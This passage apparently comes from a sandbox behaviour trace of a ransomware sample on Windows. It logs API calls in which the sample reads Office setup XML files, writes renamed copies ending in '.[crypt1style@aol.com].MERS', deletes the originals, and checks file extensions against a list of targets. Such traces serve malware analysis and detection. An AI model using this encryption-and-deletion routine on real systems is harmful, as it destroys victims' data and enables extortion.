lpNumberOfBytesWritten=0x2b8fc9c*=0x4130, lpOverlapped=0x0) returned 1 [0044.311] ReadFile (in: hFile=0x1ec, lpBuffer=0x3620020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesRead=0x2b8fed4*=0x0, lpOverlapped=0x0) returned 1 [0044.311] WriteFile (in: hFile=0x1a8, lpBuffer=0x3620020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0044.311] SetEndOfFile (hFile=0x1a8) returned 1 [0044.311] CloseHandle (hObject=0x1a8) returned 1 [0044.311] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.311] SetEndOfFile (hFile=0x1ec) returned 1 [0044.312] CloseHandle (hObject=0x1ec) returned 1 [0044.312] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0044.313] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml")) returned 1 [0044.313] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0044.313] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0044.313] lstrlenW (lpString=".doc") returned 4 [0044.313] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0044.313] lstrlenW (lpString=".docx") returned 5 [0044.313] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0044.313] lstrlenW (lpString=".pdf") returned 4 [0044.313] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0044.313] lstrlenW (lpString=".xls") returned 4 [0044.313] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0044.313] lstrlenW (lpString=".xlsx") returned 5 [0044.313] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0044.313] lstrlenW (lpString=".ppt") returned 4 [0044.313] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0044.313] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0044.313] lstrlenW (lpString=".zip") returned 4 [0044.313] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0044.313] lstrlenW (lpString=".rar") returned 4 [0044.313] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0044.313] lstrlenW (lpString=".bz2") returned 4 [0044.313] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0044.313] lstrlenW (lpString=".7z") returned 3 [0044.314] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0044.314] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0044.314] lstrlenW (lpString=".dbf") returned 4 [0044.314] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0044.314] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0044.314] lstrlenW (lpString=".1cd") returned 4 [0044.314] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0044.314] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0044.314] lstrlenW (lpString=".jpg") returned 4 [0044.314] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0044.314] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0044.314] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0044.314] lstrlenW (lpString=".doc") returned 4 [0044.314] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0044.314] lstrlenW (lpString=".docx") returned 5 [0044.314] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0044.314] lstrlenW (lpString=".pdf") returned 4 [0044.314] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0044.314] lstrlenW (lpString=".xls") returned 4 [0044.314] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0044.314] lstrlenW (lpString=".xlsx") returned 5 [0044.314] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0044.314] lstrlenW (lpString=".ppt") returned 4 [0044.314] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0044.314] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0044.314] lstrlenW (lpString=".zip") returned 4 [0044.314] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0044.314] lstrlenW (lpString=".rar") returned 4 [0044.315] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0044.315] lstrlenW (lpString=".bz2") returned 4 [0044.315] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0044.315] lstrlenW (lpString=".7z") returned 3 [0044.315] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0044.315] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0044.315] lstrlenW (lpString=".dbf") returned 4 [0044.315] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0044.315] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0044.315] lstrlenW (lpString=".1cd") returned 4 [0044.315] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0044.315] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0044.315] lstrlenW (lpString=".jpg") returned 4 [0044.315] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0044.315] lstrcmpiW (lpString1=".XML", lpString2=".MERS") returned 1 [0044.316] lstrlenW (lpString="ProPlusrWW.XML") returned 14 [0044.316] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0044.330] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=16852) returned 1 [0044.330] CloseHandle (hObject=0x1e8) returned 1 [0044.331] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml")) returned 0x20 [0044.331] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0044.331] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0044.331] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.331] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.331] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0044.331] GetLastError () returned 0x0 [0044.331] ReadFile (in: hFile=0x1e8, lpBuffer=0x3620020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesRead=0x2b8fed4*=0x41d4, lpOverlapped=0x0) returned 1 [0044.399] WriteFile (in: hFile=0x17c, lpBuffer=0x3620020*, nNumberOfBytesToWrite=0x41e0, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesWritten=0x2b8fc9c*=0x41e0, lpOverlapped=0x0) returned 1 [0044.400] ReadFile (in: hFile=0x1e8, lpBuffer=0x3620020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesRead=0x2b8fed4*=0x0, lpOverlapped=0x0) returned 1 [0044.400] WriteFile (in: hFile=0x17c, lpBuffer=0x3620020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0044.400] SetEndOfFile (hFile=0x17c) returned 1 [0044.401] CloseHandle (hObject=0x17c) returned 1 [0044.401] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.401] SetEndOfFile (hFile=0x1e8) returned 1 [0044.402] CloseHandle (hObject=0x1e8) returned 1 [0044.402] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0044.402] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml")) returned 1 [0044.402] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0044.402] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0044.402] lstrlenW (lpString=".doc") returned 4 [0044.402] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0044.402] lstrlenW (lpString=".docx") returned 5 [0044.402] lstrcmpiW (lpString1=".docx", lpString2="W.XML") returned -1 [0044.402] lstrlenW (lpString=".pdf") returned 4 [0044.402] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0044.402] lstrlenW (lpString=".xls") returned 4 [0044.402] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0044.402] lstrlenW (lpString=".xlsx") returned 5 [0044.402] lstrcmpiW (lpString1=".xlsx", lpString2="W.XML") returned -1 [0044.402] lstrlenW (lpString=".ppt") returned 4 [0044.402] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0044.402] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0044.402] lstrlenW (lpString=".zip") returned 4 [0044.402] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0044.402] lstrlenW (lpString=".rar") returned 4 [0044.402] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0044.402] lstrlenW (lpString=".bz2") returned 4 [0044.403] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0044.403] lstrlenW (lpString=".7z") returned 3 [0044.403] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0044.403] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0044.403] lstrlenW (lpString=".dbf") returned 4 [0044.403] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0044.403] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0044.403] lstrlenW (lpString=".1cd") returned 4 [0044.403] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0044.403] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0044.403] lstrlenW (lpString=".jpg") returned 4 [0044.403] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0044.403] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0044.403] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0044.403] lstrlenW (lpString=".doc") returned 4 [0044.403] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0044.403] lstrlenW (lpString=".docx") returned 5 [0044.403] lstrcmpiW (lpString1=".docx", lpString2="W.XML") returned -1 [0044.403] lstrlenW (lpString=".pdf") returned 4 [0044.403] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0044.403] lstrlenW (lpString=".xls") returned 4 [0044.403] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0044.403] lstrlenW (lpString=".xlsx") returned 5 [0044.403] lstrcmpiW (lpString1=".xlsx", lpString2="W.XML") returned -1 [0044.403] lstrlenW (lpString=".ppt") returned 4 [0044.403] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0044.403] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0044.403] lstrlenW (lpString=".zip") returned 4 [0044.403] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0044.403] lstrlenW (lpString=".rar") returned 4 [0044.403] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0044.403] lstrlenW (lpString=".bz2") returned 4 [0044.403] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0044.403] lstrlenW (lpString=".7z") returned 3 [0044.403] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0044.403] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0044.403] lstrlenW (lpString=".dbf") returned 4 [0044.404] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0044.404] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0044.404] lstrlenW (lpString=".1cd") returned 4 [0044.404] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0044.404] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0044.404] lstrlenW (lpString=".jpg") returned 4 [0044.404] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0044.404] lstrcmpiW (lpString1=".XML", lpString2=".MERS") returned 1 [0044.404] lstrlenW (lpString="PublisherMUI.XML") returned 16 [0044.404] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0044.404] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=1450) returned 1 [0044.404] CloseHandle (hObject=0x1e8) returned 1 [0044.404] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml")) returned 0x20 [0044.404] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0044.404] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0044.404] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.405] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.405] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0044.406] GetLastError () returned 0x0 [0044.406] ReadFile (in: hFile=0x1e8, lpBuffer=0x3620020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesRead=0x2b8fed4*=0x5aa, lpOverlapped=0x0) returned 1 [0044.565] WriteFile (in: hFile=0x17c, lpBuffer=0x3620020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesWritten=0x2b8fc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0044.566] ReadFile (in: hFile=0x1e8, lpBuffer=0x3620020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesRead=0x2b8fed4*=0x0, lpOverlapped=0x0) returned 1 [0044.566] WriteFile (in: hFile=0x17c, lpBuffer=0x3620020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xf4, lpOverlapped=0x0) returned 1 [0044.566] SetEndOfFile (hFile=0x17c) returned 1 [0044.566] CloseHandle (hObject=0x17c) returned 1 [0044.566] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.566] SetEndOfFile (hFile=0x1e8) returned 1 [0044.567] CloseHandle (hObject=0x1e8) returned 1 [0044.567] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0044.567] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml")) returned 1 [0044.567] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0044.567] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0044.567] lstrlenW (lpString=".doc") returned 4 [0044.567] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0044.567] lstrlenW (lpString=".docx") returned 5 [0044.567] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0044.567] lstrlenW (lpString=".pdf") returned 4 [0044.567] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0044.568] lstrlenW (lpString=".xls") returned 4 [0044.568] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0044.568] lstrlenW (lpString=".xlsx") returned 5 [0044.568] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0044.568] lstrlenW (lpString=".ppt") returned 4 [0044.568] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0044.568] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0044.568] lstrlenW (lpString=".zip") returned 4 [0044.568] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0044.568] lstrlenW (lpString=".rar") returned 4 [0044.568] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0044.568] lstrlenW (lpString=".bz2") returned 4 [0044.568] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0044.568] lstrlenW (lpString=".7z") returned 3 [0044.568] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0044.568] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0044.568] lstrlenW (lpString=".dbf") returned 4 [0044.568] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0044.568] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0044.568] lstrlenW (lpString=".1cd") returned 4 [0044.568] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0044.568] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0044.568] lstrlenW (lpString=".jpg") returned 4 [0044.568] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0044.568] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0044.568] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0044.568] lstrlenW (lpString=".doc") returned 4 [0044.568] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0044.568] lstrlenW (lpString=".docx") returned 5 [0044.568] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0044.568] lstrlenW (lpString=".pdf") returned 4 [0044.568] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0044.569] lstrlenW (lpString=".xls") returned 4 [0044.569] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0044.569] lstrlenW (lpString=".xlsx") returned 5 [0044.569] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0044.569] lstrlenW (lpString=".ppt") returned 4 [0044.569] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0044.569] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0044.569] lstrlenW (lpString=".zip") returned 4 [0044.569] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0044.569] lstrlenW (lpString=".rar") returned 4 [0044.569] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0044.569] lstrlenW (lpString=".bz2") returned 4 [0044.569] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0044.569] lstrlenW (lpString=".7z") returned 3 [0044.569] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0044.569] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0044.569] lstrlenW (lpString=".dbf") returned 4 [0044.569] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0044.569] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0044.569] lstrlenW (lpString=".1cd") returned 4 [0044.569] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0044.569] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0044.569] lstrlenW (lpString=".jpg") returned 4 [0044.569] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0044.569] lstrcmpiW (lpString1=".XML", lpString2=".MERS") returned 1 [0044.569] lstrlenW (lpString="SETUP.XML") returned 9 [0044.569] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0044.680] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=20577) returned 1 [0044.680] CloseHandle (hObject=0x1c4) returned 1 [0044.680] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml")) returned 0x20 [0044.681] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0044.681] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, 